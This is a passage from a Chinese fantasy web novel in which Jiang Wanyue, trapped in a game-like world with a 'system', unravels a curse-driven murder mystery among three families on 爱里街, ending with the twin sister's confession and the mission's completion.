江挽月心中仍是不解。
与谢旻相比,艾理虽然精神不正常,但她却没有谋害妈妈的想法。同样的,艾宁也维护着自己的女儿。
按道理来说,怎么也不应该是出现在诅咒符上的家庭关系。
江挽月没在木屋里待太久,便带着重重困惑回家。
时间一转便到了中学开学的日子,初三这学期末就要面临升学考,江挽月作为代教老师,负责每周五一次的写作课。
艾理在学校里性格孤僻,与她同龄的孩子害怕父母讲的那些传言,也纷纷不敢和她搭话。以前谢旻偶尔过来找她几次,江挽月出现后,他再没来过。
上课铃声响起,江挽月走上讲台,环视教室一圈。艾理个子瘦小,却被安排在紧挨垃圾桶的最角落里。
她背过身,在黑板上写下两个大字:家庭。
“同学们,我是新的作文老师。”江挽月屈起指节,轻轻敲响黑板,她在家里东翻西找,对着之前的教案模仿得有模有样,“这节课练习黑板上的题目。”
听到这话,学生们原本见到新老师的好奇心瞬间被浇灭,哀嚎一片,不情愿地摊开作文纸。
艾理眉头紧皱,烦躁地咬着笔,似乎不知道从何下手。
江挽月悄然站至她身后,垂下眼眸,方格纸上只写了一句话。
“我的家是一锅甜蜜的粥,妈妈是软弱的红豆,爸爸是老鼠屎,我是除掉老鼠屎的木头勺子。”
教室里笔尖摩擦纸面的“莎莎”声不断,艾理却没再下笔。
艾理的爸爸……她曾听林夫人提起过。
那个在去年因酗酒死亡的男人。
江挽月眸中闪过一丝深意,她移开步子,又回到讲台。
一直苦想到下课,艾理也没能再多写出一个字。
女孩被这个题目影响,明显有些郁闷。
果不其然,放学后,江挽月将她喊去了办公室。
办公室只有她们两人,深红色的办公桌上放着那张未完成的作文。
江挽月瞥见女孩身影,起身倒了一杯温水,递到艾理手中。
“小江姐姐……”女孩还不会隐藏自己的情绪,满脸写着焦虑不安,嗫嚅着开口。
“别担心,我不是要批评你。”江挽月浅浅微笑,眼神示意她放松,接着开口,“可以和我讲讲你的现在的烦恼吗?”
她想了想,又补充道:“什么方向都可以。”
“妈妈想自杀。”艾理一开口就是爆炸性的线索,“可我不想让她死。”
江挽月心脏猛地一跳,没预想到事情会朝着完全没料想到的方向发展。
“妈妈生病了,需要很多钱。”艾理的声音越说越小,她垂头丧气地撕扯着指甲,“我没有钱。”
江挽月见状,立即分开她的双手,那指尖伤痕累累,想必也是这个坏习惯造成的。
“那个人不愿意救妈妈,谢旻哥哥说,他能帮我。”
“他怎么帮你?”江挽月心底暗道不妙。
谢旻那个杀父杀母的疯子,能有什么正常的手段。
艾理摇头,表示自己并不知晓:“他没告诉我,但妈妈最后真的清醒过来了。”
江挽月长呼一口气,望向窗外暗沉的天色,适时结束了聊天。她不放心艾理一个人回家,将女孩送至木屋前。
刚到门口,木门便被人从屋内打开,三人皆是一愣。
江挽月率先反应过来,向屋内的男人发问:“林先生,你怎么在这?”
林先生穿着旧西装,发丝凌乱,下巴上泛起一圈乌青的胡茬,显然近几天没被打理过。
江挽月第一次和他正式相见,才发觉他的形象与林夫人相比显得落魄许多,不似富贵人家。
林先生心虚,结结巴巴地回答:“我……我来看望艾宁。”
江挽月视线对上艾理,女孩点点头,认同林先生的话。
“林先生经常来看妈妈。”
男人听到艾理的话松了口气,解释道:“艾宁和我来自同一个村庄,我们从小相识。”
艾理对眼前这个畏畏缩缩的男人相对友好,她神神秘秘地凑到江挽月耳边,想要给他说好话。
“林先生杀了那个人哦。”
那个人是指艾理的生父。
声音虽然微小,但在这安静得落针可闻的屋内,林先生还是听见了她的话。
“我没有!”男人急于反驳,面色涨得通红。
江挽月揉散眉心,有些发愁。
爱里街不过千米的距离,竟然发生了这么多命案,难怪没人敢住在附近。
“那只是个意外,我没想杀人。”林先生苍白地辩驳,没有任何说服力。
江挽月没搭话,眼神直盯着他,似乎能洞悉到他内心深处,识破他的谎言。
林先生被压力得喘不过气,“扑通”一声跪在地板上,崩溃哭诉道:“那天他喝醉了来公司堵我,非说我和艾宁有染,我怕影响名声,将他带到了小巷。”
“我只想吓吓他,用酒瓶一砸,没想到会伤及动脉,他流了好多血,我不知道该怎么办……”
“畏罪潜逃。”江挽月冷静地替他补完未说完的话。
林先生失去狡辩的余地,泄气似的低下头颅,宛如一个忍下罪状的犯人。
江挽月俯视着他,冷漠无情地审问:“这件事还有其他人知道吗?”
林先生嘴唇微动,犹豫许久后坦言说出深埋已久的秘密:“有……”
“谁?”
“我不知道是谁,但他拍到了我的罪证。”说到这里,林先生神情突变,一脸恨意,“他以视频要挟,
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强迫我给他打钱。”
江挽月回想起在报告里反复出现的那串账户数字,顿时有了眉目。
只不过还需要陆樾之替她解决一些小麻烦。
江挽月起身欲上二楼,林先生拦住她。
“艾宁已经休息睡下了。”
江挽月挑挑眉,顿住脚步,时间确实不早了,自己也该回家。
继上次爆发大矛盾后,江挽月没再和陆樾之说过一句话。
她推开书房门,陆樾之的“专属卧室”倒是十分整洁,除了一旁的床褥,几乎和她第一天进来时一模一样,毫无变动。
江挽月翘着二郎腿,坐在书桌上,无聊地拿起一旁的信纸,里面详尽的记录了他这几日的发现。
这应该是魔法司所需的材料。
江挽月撇撇嘴,将信纸放回原处,默默吐槽。
魔法司百年来约定俗成的传统,哪怕到了恐怖事件也没改变。
陆樾之不知是不是暗中与她作对,早已过了以往下班回家的时间,今日却迟迟未归。
江挽月等得极不耐烦。
等下要先骂陆樾之一顿解气,再让他办事。
她暗自想道。
“你怎么才回来?”江挽月抱着胳膊,心情不悦地瞪着他。
“我不知道你在等我。”陆樾之解开领口的动作一滞,认错态度良好,“对不起。”
江挽月难得对他满意,没再训斥他,开门见山道:“帮我查个人。”
陆樾之讶然:“谁?”
江挽月跳下书桌,走到离他半米远,抽出他怀里的文件夹,翻出那份报告,纤长的手指点了点那串被他标红的数字。
“他。”
陆樾之定睛一看,叹息道:“这个账户的主人已经失踪了。”
“什么时候?”
“很久,至少十年前。”
江挽月沉默不语,按林先生的说辞,这个人去年就出现过,魔法司不可能调查不到他的行踪。
她望着木地板出神,陆樾之不像有所隐瞒,账户本人下落不明,那它现在的主人,究竟是谁呢?
“你还有其他线索吗?”
江挽月想起陆樾之这几日都忙忙碌碌,随口问道。
“有。不过不是林先生的。”陆樾之不紧不慢地向她汇报,“公司里的一些传言,他们说,林夫人在结婚前有过一次严重的精神分裂症。”
“继续说。”
江挽月眼底含笑地望着他,陆樾之突然间变得听话,这样看来他还真有几分金手指的作用。
“不过魔法司的报告里,确实有此事。”
陆樾之从文件夹里重新抽取一份资料,翻到重点部分,呈递到她手中。
“人格分裂?”江挽月接过报告一看,不知想到了什么,瞬间笑出了声,“有点意思。”
她神秘兮兮地开口问道:“你觉得林先生还能活多久?”
陆樾之看这些人物的视角,远没有她看得清晰,他不可置信地问:“什么意思?林夫人会杀死林先生?”
江挽月挑眉:“不然呢?”
陆樾之并不知晓内情,在他的视角里林先生虽然性格怯懦,但却在暗地里接触过魔法,远比林夫人更加危险。
“那她的动机是什么?就因为感情淡了吗?”
江挽月的恶作剧心思又涌上心头,她轻轻戳了戳他的心脏处,颇为俏皮的眨眨眼,看他一脸疑惑却并不解释。
“你猜。”
9. 甜蜜之家(八)
陆樾之没能得到江挽月的解答,微微蹙眉,心情不悦地开口:“需要我做什么?”
他心知肚明,江挽月才不会好心地提示他线索,能让他知晓的,要么毫无作用,要么需要利用他去调查补全。
江挽月暗自梳理线索,回想起还有个可疑之处未曾解决。她眼波流转,狡黠地眨眨眼,笑着说:“上次在林先生身上发现的魔法痕迹还没有查到来源吗?”
“魔法司给出的结果是之前提到过的那个神秘组织所为。”陆樾之躲开她的视线,一脸无可奈何。他如实相告,说完又添上一句话提醒她,“林先生疑似和黯系魔法组织勾结,他绝非善类。”
陆樾之觉得林先生会抢先一步伤害林夫人。
江挽月不语,摊开关系图,从头至尾不遗漏一丝角落地仔细看完。
经过这段时间的调查,关系图解锁了大半,但这上面每一个人的进度都不是百分之百。
每一个人,都还隐藏着未曾坦白的秘密。
诅咒符命名为“甜蜜之家”,又有谢家的例子在前,林先生和林夫人必定只能活下其中之一。
她原本不能确认谁会成为幸存者,今日一见林先生,怎么看都觉得他没有一点成功的潜质。
江挽月望向角落里那个已经彻底死亡的人物,她可以确定这个死者的身份就是艾理的生父——那个跛脚男人。
那天她从艾宁手中拿走诅咒符,他抢夺不成,最后被幕后之人牺牲,一刀殒命。
可林先生说是他杀死了跛脚男人,尸体却落入黑袍男子的手中,成了变异的怪物。
林先生隐瞒了后续,他和黑袍男人又是什么关系。
这其中,又有什么人掩盖了真相呢。
想到这里,她恍惚发觉自己似乎很久没发现黑袍男子的消息。
她潜心于寻找通关线索,倒是忽视了那个人。他如人间蒸发一般,继那天在巷子里刺死跛脚男人后,再没出现过。
江挽月怀疑他已经离开爱里街,但自己如今依旧被系统限制着行动范围,迫不得已地搁置对他的深入追查。
江挽月静默深思许久,从口袋里掏出那张诅咒符,交予陆樾之手中:“让魔法司再调查下这个线索。”
陆樾之茫然接过:“这是什么?”
“诅咒符。”
“你让魔法司,翻阅现存的所有上古魔法书,看看有没有类似的诅咒记录。”
江挽月如今急需一个突破口,将萦绕在她心中的困惑全部消散。尽管感情上,自己应该防备着陆樾之,但理智上,她如今确实需要他背后的魔法司来暴力破解这条线索。
谢太太一家已经受难,若不及时解开这些符号,下一个受害人恐怕也快出现了。
第二天一早,江挽月疲惫不堪地换好衣服出门,她又没睡好,眼下一片青黑。
她站在门口,望着截然相反的两端,往前走是林夫人的豪华别墅,往里走是艾宁的破烂木屋。
江挽月立于中间,在两个家庭中抉择。
迟疑许久,才迈开步子沿着爱里街往里走。
昨日晚间,没能见到艾宁,她今日特意避开艾理,想要单独和她聊天。
林先生的一番说辞看似逻辑合理,但江挽月细想下来只觉得处处都透着诡异,林先生的话真假参半,不能全然相信。
一个普通人类敢沾染邪恶的诅咒,绝不可能会怯懦成那样,更别说他昨晚刻意地阻止她上楼。
不知是不是因为艾宁将诅咒符交给了,因此接触不到它的魔法力量,身体变得越来越虚弱。
刚来这个世界,她还能独自驾驶轮椅,如今竟是连起身都难以完成。
江挽月细心扶着她靠在软枕上,取出随身携带的纸笔,询问道:“会写字吗?”
艾宁点头,接过笔颤颤巍巍地在纸上写下痕迹:“会。”
字体歪歪扭扭,但好在能够辨认。
江挽月从昨日起便开始纠结,甚至她已经坐在女人面前,依然在犹豫要不要问出口。
艾宁看她欲言又止的表情,写道:“怎么了?”
“艾理说你生了重病……想要自杀,是吗?”江挽月问得艰难无比。
艾宁眼中闪过一丝悲伤落寞的神色:“我不想用别人的命活着。”
江挽月心尖一颤,喃喃自语:“别人的命……”
“是你丈夫吗?”
艾宁听到这个话题换了脸色,有憎恨有茫然:“他死前一天,艾理不知从哪里弄来那张符纸让我妥善收好,第二天我就收到他酗酒而亡的消息。”
“对于他的死,艾理瞒了我很多,我以死相逼,她才告诉我一些细枝末节。”
“她用那张诅咒符,献祭她生父的性命,换来我能活命的机会。”
“我恨那个男人,但更不想艾理因为我误入歧途,走向黑暗。”
“我劝艾理回头,她拒绝了。”
看艾宁写下长长的一段字,江挽月恨不得立刻将那张符从陆樾之手中取回来,她满是震惊的语调:“那你将诅咒符交给我,岂不是在透支自己的生命。”
她总是理想化地认为,一切都会有成功的余地,就算没了诅咒,自己也能找到其他办法来拯救女人的生命。
艾宁坚定地摇头,她虽然虚弱,但严重的认真不减分毫:“这样行尸走肉的活着太痛苦,她接受不了我的死亡。”
江挽月目光冷峻,艾理的很多举止都能看出她异于常人的偏执极端,她如今看起来乖巧听话,无非是艾宁没有出事。
可艾宁现在的身体撑不了多久,等艾理发现这一切,恐怕会再次献祭别人的性命来救治妈妈。
坡脚男子明明是被艾理献祭而死,林先生却又撒谎替她隐瞒真相,很有可能他也参与这场行动之中。
艾宁难得清醒这么久,见江挽月出门,身影渐渐远去,她再也强撑不住,倒在床榻上。
她眼前发黑,看不真切画面,依稀能辨认出女儿的身形。
艾理一步一停,踌躇许久才行至床前,她跪在地上,眼中的偏执疯狂再次卷土重来。
她语气森冷:“你怎么能告诉她,妈妈。”
女人发不出声音,只能做口型:“艾理……”
“她明明已经相信了我。”艾理的脸越变越可怖,直到艾宁痛苦地呜咽,她才惊觉自己的手正掐在妈妈脖子上。
她尖声厉叫,瞬间反应过来,松开那不堪一握的脖颈,痛心哭诉:“我亲爱的、胆小的、可怜的妈妈,你为什么要背叛我。”
一连几日都阴沉着天,厚厚的云层堆积在爱里街上空,诡异不安的氛围笼罩整条街道,似乎即将有大事发生。
江挽月趴在窗前黯然神伤,上次把诅咒符借给陆樾之后,一直没有收到回信,连林先生也不见踪影。
她突然有些恍惚,仿佛失去了方向。爱里街的普通NPC
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依旧每天重复着他们的设定,即便前不久刚刚发生过杀人案。
最终不过一场游戏,江挽月反复提醒自己,她必须加快解密进度,早日逃出这个世界。
陆樾之刚一推开门,就被室内低沉的气压惊到。
上次从木屋回来后,江挽月的不悦一直持续至今。
他心念微动,清了清嗓子,照着魔法司的回信念道:“林先生身上的魔法痕迹,是为了控制林夫人。”
江挽月面色淡然,依旧提不起精神,这个结果在她预料之中。
陆樾之将信纸折好,重新塞入信封里,观察她的神色,又继续说道:“你上次暗示林夫人后,我换了一个方向调查。”
“那个账户不过是个障眼法,真正的资金,在另一个人手里。”
江挽月提起一点兴致,推测道:“是林夫人?”
陆樾之摇头否认:“是她妹妹。”
江挽月久违的头痛,她撑着脑袋,强行从乱成一团的思绪中抽离,找到关键:“她还有个妹妹?从来没她提起过。”
“林夫人的妹妹少年时期就和家里断绝关系,离家出走。她也不住在这个城市,很久没回来过。”
江挽月认真听着,眉心紧皱在一起,她望向陆樾之的眼眸,问道:“你的推测是什么?”
陆樾之坐在她对面的沙发上,沉默几秒似在思考,他张开紧抿的唇,声音低沉舒缓:“林夫人和林先生感情变淡,林夫人在暗提供把柄,她妹妹在明勒索钱财,两人合作平分赃款。”
江挽月听完,嘴角勾起一抹浅笑:“确实很合理。”
她敷衍的评价,并不认同陆樾之的推断:“可你也说过,她们俩很久没见过,又怎么会突然之间合作呢?”
陆樾之挑眉,与江挽月发散的思维不同,他的推测一向保守求稳。他故作好奇,打探她的想法:“你怎么推测?”
江挽月一扫之前的阴霾,眼中闪烁着自信笃定的光芒,恢复了往常的精神状态:“林夫人很可能并不存在。”
尽管早有准备,陆樾之还是没能跟上她的思路,他疑惑不解:“什么意思?”
江挽月加快语速,细致地讲述:“如果在十几年前,林夫人住进精神病院的那段时间,她就离世了呢?现在的这个林夫人不是姐姐,而是妹妹。”
陆樾之表情一僵,但又不敢当面扫兴,他,露出一抹意味不明的微笑:“有道理。”
第二天——
江挽月昨晚心情刚刚好转,才过了一晚又变得心绪不宁,以往她虽然疲惫,但并不会像今天这样严重。
她摊开掌心,小巧的魔法阵上,一颗璀璨如星的光点骤然熄灭,光亮不再。
保护符失效了,艾宁有危险。
江挽月心中咯噔一下,全身的血液都涌上大脑,她脚步一晃,疾步朝艾宁的木屋跑去。
她慌乱推开门,艾宁闭着眼,一动不动地躺在摇椅上,她没了气息,那些黑色的虫子肆意地在僵硬的尸体上为非作歹,吸干了血液,又开始啮咬她的皮肉。
江挽月瞬间感觉周身泛起一阵冷意,呆愣在原地,久久没有动作。
过了好一会儿,她才从情绪里抽离,不敢相信地翻开关系图。
画面上属于艾宁的那张肖像已经变成半透明的浅色,与那个跛脚男人一样,旁边被画上血红的叉。
艾宁死了,连带着那些还未解开的谜团,离开这个世界。
10. 甜蜜之家(九)
江挽月呼吸剧烈起伏,静谧的屋内,她能清晰地听见自己怦怦作响的心跳声。
艾宁没用她给的保护符,是自愿被诅咒反噬而死。
江挽月仿佛被一只大手猛地攥住心脏,大脑供血不足,此刻头昏眼花。她再也呆待下去一秒,疾步跑出屋外,冰冷的空气急速灌进肺里,喉咙口涌上淡淡的血腥味。
艾宁的死彻底打乱了她的计划,她本以为自己来得及,等到事情水落石出抓获凶手后,帮她摆脱诅咒的痛苦。
可最终还是迟了一步。
良久,江挽月缓和好心情,重新回到艾宁的房间,她曾经见过很多死状,或许是触景生情,上一世的阴影又卷土重来,她第一次恶心到反胃。
她稳下心神,抽出魔法牌,放至眉心间。随着咒语轻念出声,一阵阴风吹进木屋内,拂过她的发梢。
她再睁眼,双眸变得血红。
江挽月环视一圈,在魔法阵面前,一切隐藏都无所遁形,她稳步朝床脚走去。
那里躺着几张沾血的纸巾。
江挽月毫不在意那上面的污渍,伸手捡起。在魔法阵的加持下,她的五感极其敏锐,不需要细闻,便分辨出两种味道的来源。
一种是艾宁的血,另一种是……林夫人家的熏香。
林夫人生活精致,家里的每一个角落,每一个物件都由她亲自把控。这特意熏香过的纸,香味独特,江挽月第一次去林夫人家做客时,就深深记住了这个味道。
林夫人和艾宁年纪相仿,平日里却鲜少来往。
之前的几次聊天,林夫人提起这间木屋时,表情也都十分冷淡,一副不想交流的模样。
她们应该是两个互不相识的陌生人才对。
可艾宁身上没有人为的伤口,这种血迹江挽月不是没见过,更像是艾宁主动开口说话受到反伤所致。
江挽月寻了个干净的袋子,将纸巾一并装好。
她没拿着这些证据直接去林夫人家质问,反而是回自己家进了书房。
这间房的窗户能看见林夫人家的花园,她躲在窗帘后,暗中观察着林夫人的一举一动。
今天是难得的好天气,林夫人在花园里晒着太阳,任谁看了都觉得她是个温柔可亲的富太太。
江挽月有些恍惚,她第一次见林夫人时,也是同样的印象。
林夫人手指随意地掰了块面包,扔给那天夜晚撞见她的小野猫。
小野猫得了好处,乖巧地蹭蹭她的脚底,林夫人被讨好得很是欢心,笑容满面。
她端起茶杯,抬头,正巧对上江挽月家的书房。
江挽月下意识地往旁边一躲,做完才反应过来这样未免显得自己太过心虚。
她长舒出心中郁气,一气呵成地下楼出门,抵达林夫人家。
林夫人早知她要来,吩咐人去茶厅新沏了一壶茶。
江挽月脑海中有一连串的问题想要质问她,可真正坐到她的对面,却一时不知从何开始问起。
“怎么,突然之间变得如此生分,连话都不敢和我说了?”林夫人打趣道。
见女人如此淡定,江挽月都不知道该用何种语气发问,这样纠结来纠结去,倒不像她的性格。
她抑制下脑海里乱作一团的各种思绪,声音没有一丝起伏,听起来就像呆板的合成音:“你为什么会去艾宁房间?”
“看来是发现了?”林夫人含着笑意的眼神瞬间冷淡下来,手上动作一顿,“我和她本就是朋友,去探望难道不是很正常?”
“旧友?”江挽月显然不相信她的说法,满脸质疑的神情,“艾宁从未提起过这些。”
面对她的质疑,林夫人依然镇定:“人有所隐瞒不是很正常吗?”
江挽月不再和她绕弯子,发问道:“她为什么会突然死亡。”
林夫人露出一抹意味不明的微笑,眼神紧紧地盯着她:“小江,这个问题,你心中应该早有答案。”
“所以你还隐瞒了什么?”江挽月眼神一横,语气森冷严肃,“威胁林先生的人是你吗?”
“是我。”林夫人丝毫不觉得自己有错,直接承认,“我只是拿回属于我的财产。”
江挽月眼神犀利,试图找出她的破绽:“那你妹妹现在在哪?”
“我从来没有妹妹,就算有她也应该早死了。”林夫人罕见地面有愠色,妹妹这个话题是她不可触及的禁区,“我身体不舒服,江小姐请回吧。”
晚间,江挽月还在思考和林夫人的谈话,陆樾之带着诅咒符步履匆忙地进屋。
江挽月眼帘低垂,望向他手中那一份厚厚的报告,却并不接过。
她问道:“有发现?”
“嗯。”陆樾之见她没动作,便知晓她是没有耐心亲自翻阅,开口总结道,“这个诅咒的人群范围,只能是家庭成员。”
陆樾之观察着她的表情,见她今日心情似乎不佳,迟疑了几秒,“除了前几日死亡的谢家夫妇还有刚刚死去的艾理一家。
“唯一存活的只剩下林夫人一家。”
“和我想的差不多。”江挽月托着下巴,明没有惊讶的神情,“林先生用诅咒符的目的是什么?”
陆樾之不紧不慢地开口:“他想要控制林夫人。”
“控制?”江挽月撩起眼皮,询问的视线落在男人身上,“我以为他会直接杀了林夫人。”
“不,他更希望林夫人臣服于他。”
从开始调查起,陆樾之几次三番和林先生打交道,对这个人有些了解。
以他的观察,林先生虽然身居领导层,行事作风却毫无魄力,在公司里的话语权也不大。
“林先生一直介怀当年林夫人让他入赘的事,所以心存报复,但又顾及多年感情,没胆量和其他两人一样下死手。”
“哼。”江挽月嘲讽地冷哼一声,“林夫人那边呢?”
“这是林夫人当年的住院记录。”陆樾之从厚厚的一沓纸里抽出几张,推至江挽月跟前,他补充道:“不过那家精神病院后来变迁去了别处,前几年已经倒闭很难查到十多年前的消息。”
“地址?”江挽月懒懒道。
“爱里街296号。”
月黑风高夜,江挽月独自一人出门。
精神病院早已搬迁多年,被拆得破破烂烂,如今只空留一座废弃的住院楼。
江挽月体内的魔力随着她的意识运转,汇集于两指之间,形成一簇幽蓝色的火焰。
随着
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她手部轨迹,火焰在长满苔藓的地面上留下熊熊燃烧的痕迹。
江挽月居于中心,眼眸里倒映着跳跃的异色火焰,火光照在她平静无波的脸庞,晦暗不明。
魔法阵从火焰痕迹上缓缓浮现,宛如一个巨大的时钟,江挽月闭上眼,时钟的指针迅速回转。
黑暗里无数关于此地的陌生画面在眼前闪回,天旋地转间,她见到了那一抹熟悉的倩影。
江挽月猛地睁眼,指针立即停止不动。林夫人的虚影出现在一旁的空地上。
身后传来两道来自过去的声音:“林小姐马上就要到婚期,怎么突然发生这种事。”
“对啊,老先生死得也蹊跷,眼睛都淌着血,活生生被吓死在家里。”
“嘘,小点声,别让她听见了。”
喷泉水池旁的轮椅上,林夫人依旧一动不动,好似没有听到两位护工的对话,闭目养神。
与多年之后世故圆滑擅长游走于人际场的富太太相比,眼前的虚影透着生人勿近的冷漠。
江挽月缓步靠近,凑到林夫人身前,她微弯着腰,凝视着眼前这张脸,
林夫人的相貌倒是一直未曾变过,时间在她身上似乎没有留下丝毫的衰老痕迹。
江挽月在她眼前打了个响指,轮椅上的女人听见响动,缓缓睁眼。
面前这个年轻女孩的气质相貌实在特别,足以让人铭记于心,多年不敢忘却。林夫人不可置信地眨眨眼,眼前依旧还是一道虚影,看不见女孩的实体。
江挽月声音空灵,跨越时间传到过去的林夫人耳中:“现在将你的秘密告诉我,全部,如实相告。”
林夫人眼神涣散,如同着魔一般,在魔法阵的驱使下,她眼前的那道人影渐渐淡出,消失不见。
紧接着,面前升起一面巨大的镜子,林夫人望着那张与自己一模一样的脸,精神恍惚,仿佛死去的那人又重新坐到自己面前。
林夫人牙齿打着寒颤,耳边又传来一道声音。
“说吧。”
那道声音宛如远在天边般让人听不真切,她嗫嚅着,不受控制地坦白:“对不起,姐姐……”
“我不是故意害死你的,我们明明拥有相同的相貌,凭什么你可以过得比我幸福,凭什么所有的关心和爱都倾注在你身上,却不愿意施舍给我一点点。”
“连你死了,我也只能披着你的身份,去盗窃那些属于你的爱意,对不起……”
“我不是故意害死你,但我不后悔。”
“爸爸发现了我不是你,他很生气,想要揭穿我。但我杀了他,从此世界上再没有人知道林有礼的存在,从你死的那一刻起,我就是林有爱。
“姐姐你说你爱妹妹,你一定不会怪我的,对吧?”
“你为什么不说话!”女人得不到饶恕,崩溃地望着幻境里的姐姐尖声厉叫,“说你不怪我!快说啊!”
林有礼面目狰狞地大吼大叫,一旁的医护见病人突然发狂,连忙扎了一针镇定,将人推回病房。
魔法阵彻底暗淡,幻境结束。
江挽月垂下眼眸,望着塞满枯叶的喷水池失神,脑海中又传来电子音的提示。
“隐藏·线索四:夫人的秘密已解锁。”
11. 甜蜜之家(十)
万籁俱寂,树枝断裂的声音突兀响起,格外引人注意,废弃的精神病院又迎来了今夜的第二位访客。
江挽月转过身,视线落在躲在树后的那道人影上,她音量拔高:“来都来了,又何必躲起来?”
林夫人衣着素白,倒是很少见她打扮得如此低调。即便自己的秘密为人知晓,她的神情依然波澜不惊。
江挽月发觉时间在林夫人身上还是留下了痕迹,不在容貌上,而是内心中。若不是亲眼所见,她很难将那个发狂的林有礼和眼前的林夫人看作是一个人。
她主动开口,打破宁静:“你还记得我?”
林夫人也不狡辩,释然地回答:“没错,从你搬来的第一天,我就认出了你的相貌。”
“只是一开始你和普通人没什么差别,我还以为是找错了人。”
“后来我在阳台看见你使用魔法,确认了你的身份,便让艾宁带着诅咒符去公交站赌你出现。”
江挽月语气淡然,不带一丝质问,让人猜不透她内心所想:“你们是怎么认识的?”
林夫人眼眸微动,似在回忆,她嘴唇颤抖着开口:“我和艾宁真正开始相处是在去年,她身患绝症,而我正好希望收养一个孩子,于是去见了她第一面。”
“可艾理不愿意,收养的事就此作罢,后来我偶尔去医院拿药,想起来她就顺便去看望几次。”
“艾宁病入膏肓,几乎没有救治方案,她也不愿余生和病痛打交道,一心向死。”
“我理解她的想法,只是艾理不知道从谁的手中得到了那张诅咒符,艾宁早就将这一切告诉我,提醒我小心林先生。”
“我最开始不敢相信,直到后来我记起了你,意识到这个世界上真的存在神秘力量。”
“林先生想对我施加诅咒,他不仁就别怪我不义。”
“既是出于自保也是为了帮助艾宁,我让她主动暴露,有她的引导,你很快就能查明一切。”
“这么信任我?”江挽月嘴角勾起一抹讥笑,上下打量着林夫人,“说说吧,你的要求是什么?”
“保护我,不被林先生许下的诅咒所伤。”
江挽月点头:“可以。”
林夫人得到认同,顿时有了自信,继续补充道:“还有,帮我脱罪。”
“你是指你杀死亲姐姐和生父这两件事吗?”
“对。”
江挽月脸上的笑意消失殆尽,她轻皱着眉,语气森冷:“不行,我没有兴趣帮你解决非魔法导致的麻烦。”
林夫人咄咄逼人,语气急促:“你难道要让我进监狱吗?”
“不然呢?”江挽月眼神锐利如刀,她逐渐逼近慌乱的女人,“我不属于这个世界,所以你最后会不会进监狱也和我无关,这得看你自己怎么做。”
夜幕边缘泛起一圈光晕,天马上就要亮了,江挽月绕过愣在原地一动不动的林夫人,走出废弃病院的大门,她得赶在陆樾之醒之前回家。
一夜未眠,汹涌如潮水一般的困意席卷而来,江挽月打了个哈欠,揉揉发胀的眼睛,没注意到沙发上端坐着的男人。
陆樾之脸色阴沉,死死地盯着刚回来的人,语气不善:“你昨晚去精神病院了?”
他不是询问,而是肯定。
江挽月略过他,一只脚已经踏上楼梯台阶,敷衍回道:“嗯。”
陆樾之起身扯住她的胳膊,身体紧绷:“为什么不和我说一声?”
江挽月甩开他的手,隐隐有发火的迹象:“没必要,为什么要说?”
男人浑身带着冷意,又凑近几步:“我以为我们最近合作得很好。”
江挽月面上带笑,眼中却毫无温度,抬手将人推远:“那你想太多。”
陆樾之仰视着台阶上的女人,满是命令的语调:“江挽月,你别太过分。”
听到这话,那道背影猛地转身,猝不及防地抬手,狠狠一掌打在他的下颌处。
“谁过分?”江挽月眼里满是怨恨的怒火,她不解气,又踹了男人一脚,“你真的很不长记性,陆樾之。”
陆樾之心烦意乱,他确实不长记性,自己过去完美的人生轨迹被眼前的恶女涂抹上污迹,如同烙印一般永远刻在他身体上。
本该永远保持理智的管理员,曾经却对一个游戏世界里声名狼藉的反派boss动心,还闹得系统总局尽人皆知,被执掌者停职处罚。
剥离不了副本记忆是管理员最大的渎职,系统局的记忆删档舱生产至今,从未被启动过。
陆樾之是第一个,也是唯一一个使用过的管理员。
后来他彻底忘记那段意乱情迷,恢复原来那副冷漠无情的模样。
再见江挽月,她一如同事口中的那些描述,性格恶劣、冥顽不灵。
陆樾之越是和她相处,越是憎恨过去的自己。
为什么会对这样一个恶女动心。
陆樾之偏激地想:自己的思路还是又犯了错,他不应该企图得到她的信任,然后将她困在11区,这样太过于心软。
他该和执掌者一样,和十位玩家一起站在她的对立面,然后联手除掉她。
这才是最适合江挽月的结局,她只有死亡,才能让一切重回正轨,包括他动荡的心。
“砰——”
一声枪响从隔壁传来,紧接着,林夫人的尖叫声响彻街道。两人来不及反应,纷纷冲出门外。
林先生胸口中弹,却并没有就此倒下,反而是与跛脚男子一样,变异成失去意识的怪物。
地上的魔法阵图案只绘制了一半,未能成功生效。林夫人跌倒在法阵边缘,她四肢无力,连掉在地上的手枪都捡不起来。
江挽月站在不知所措的女人身前,拦住林先生的路线,单手召唤出月刃,头也不回地喝道:“快走。”
林先生已然发狂,挥舞着爪牙要向女人扑去,江挽月迅速念咒,月刃如天女散花般分裂开来。
锋利的刀片席卷在男人周身,范围越缩越小,将林先生割得皮开肉绽,痛苦地嚎叫。
陆樾之见状立即将林夫人转移到安全的地方,来之前他已经提前通知过魔法司,现在只需要控制住林先生,静待稽查厅的调查。
对付弱小的林先生,江挽月不需多费力气,仅仅一招,便将人打晕在地。
她回眸望向门口乌泱站着的一群人,陆樾之一身黑色正装与稽查队的魔法师并排而立。
失神间,江挽月仿佛又回到了上一世被那些正派魔法师围剿的场景。相比之下,此刻手握利刃的她似乎更像是坏事做尽的恶人。
江挽月摈弃脑海中的杂念,翻出关系图,已经有了
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结局的肖像泛着淡色的金光,她刚一打开便跳出一个新的窗口。
“检索到当前任务结局解锁进度已达90%,是否提交。”
江挽月视线落在“是”字上,却迟迟没有做出选择,她犹豫几秒,闭合图卷。
艾宁死后,艾理一直没再去过学校。
江挽月重返木屋时,她正呆坐在母亲的床边,盯着摇晃的木椅出神。
房间里凭空多出一个人,艾理也毫无反应,把她当作空气,或许这才是她的真实性格。
两人沉默了许久,都没有开口打破宁静,最后艾理受不住,主动问道:“你没有什么要和我说的吗?”
“林夫人让我来看看你,如果不是她的委托,我不会再见你。”江挽月没有撒谎,林夫人打算搬离此处,出于对朋友之女的照顾,她留下一笔钱托交予艾理。
艾理自问自答:“因为我欺骗你?”
“你们对我来说,只是任务对象,仅此而已。”江挽月不带一丝感情,冷冷地回答,“魔法司会将你送进特殊精神病院,你心智不正常,我不会因为这些怪你。”
艾理沉默不语,闭上眼的瞬间,露出一抹解脱的笑意。
江挽月懒得与她再费口舌,艾理没有寻死的念头,自己就算完成了任务。
她点开关系图,摁下提交键,面前弹出一个巨大的窗口,光标闪烁着,打出一行行结算文字。
“任务:甜蜜之家已完成;评级:D
必备道具·线索一:关系图进度100%
线索二:甜蜜的诅咒进度67%
线索三:消失的亡夫已迷失
隐藏·线索四:夫人的秘密进度100%,正在结算核对中,请稍等。”
